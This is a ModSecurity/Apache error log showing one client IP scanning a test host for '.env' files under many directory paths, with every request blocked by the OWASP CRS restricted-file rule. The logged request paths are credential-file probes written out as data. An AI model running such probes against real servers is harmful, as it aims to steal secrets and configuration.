[Wed Feb 25 06:05:26.972482 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /question2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/question2/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXlAAAAAQ&quot;]
[Wed Feb 25 06:05:26.972748 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/question2/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXlAAAAAQ&quot;]
[Wed Feb 25 06:05:26.972935 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/question2/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXlAAAAAQ&quot;]
[Wed Feb 25 06:05:26.999017 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /qv-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qv-frontend/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXlQAAAAQ&quot;]
[Wed Feb 25 06:05:26.999257 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qv-frontend/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXlQAAAAQ&quot;]
[Wed Feb 25 06:05:26.999411 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qv-frontend/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXlQAAAAQ&quot;]
[Wed Feb 25 06:05:27.049853 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rabbitmq-cluster/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq-cluster/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXlgAAAAQ&quot;]
[Wed Feb 25 06:05:27.050105 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq-cluster/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXlgAAAAQ&quot;]
[Wed Feb 25 06:05:27.050273 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq-cluster/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXlgAAAAQ&quot;]
[Wed Feb 25 06:05:27.076578 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rails-api/react-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails-api/react-app/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXlwAAAAQ&quot;]
[Wed Feb 25 06:05:27.076849 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails-api/react-app/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXlwAAAAQ&quot;]
[Wed Feb 25 06:05:27.077019 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails-api/react-app/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXlwAAAAQ&quot;]
[Wed Feb 25 06:05:27.217535 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rails/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXmAAAAAQ&quot;]
[Wed Feb 25 06:05:27.217815 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXmAAAAAQ&quot;]
[Wed Feb 25 06:05:27.218023 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXmAAAAAQ&quot;]
[Wed Feb 25 06:05:27.303018 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rasax/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rasax/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXmQAAAAQ&quot;]
[Wed Feb 25 06:05:27.303297 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rasax/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXmQAAAAQ&quot;]
[Wed Feb 25 06:05:27.303477 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rasax/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXmQAAAAQ&quot;]
[Wed Feb 25 06:05:27.359275 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXmgAAAAQ&quot;]
[Wed Feb 25 06:05:27.359528 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXmgAAAAQ&quot;]
[Wed Feb 25 06:05:27.359696 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXmgAAAAQ&quot;]
[Wed Feb 25 06:05:27.495244 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react_todo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react_todo/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXmwAAAAQ&quot;]
[Wed Feb 25 06:05:27.495531 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react_todo/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXmwAAAAQ&quot;]
[Wed Feb 25 06:05:27.495714 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react_todo/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXmwAAAAQ&quot;]
[Wed Feb 25 06:05:27.562104 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /redmine/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redmine/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXnAAAAAQ&quot;]
[Wed Feb 25 06:05:27.562422 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redmine/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXnAAAAAQ&quot;]
[Wed Feb 25 06:05:27.562619 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redmine/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXnAAAAAQ&quot;]
[Wed Feb 25 06:05:27.610324 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /repo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXnQAAAAQ&quot;]
[Wed Feb 25 06:05:27.610640 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXnQAAAAQ&quot;]
[Wed Feb 25 06:05:27.610840 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXnQAAAAQ&quot;]
[Wed Feb 25 06:05:27.739971 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /repos/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXngAAAAQ&quot;]
[Wed Feb 25 06:05:27.740247 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXngAAAAQ&quot;]
[Wed Feb 25 06:05:27.740451 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXngAAAAQ&quot;]
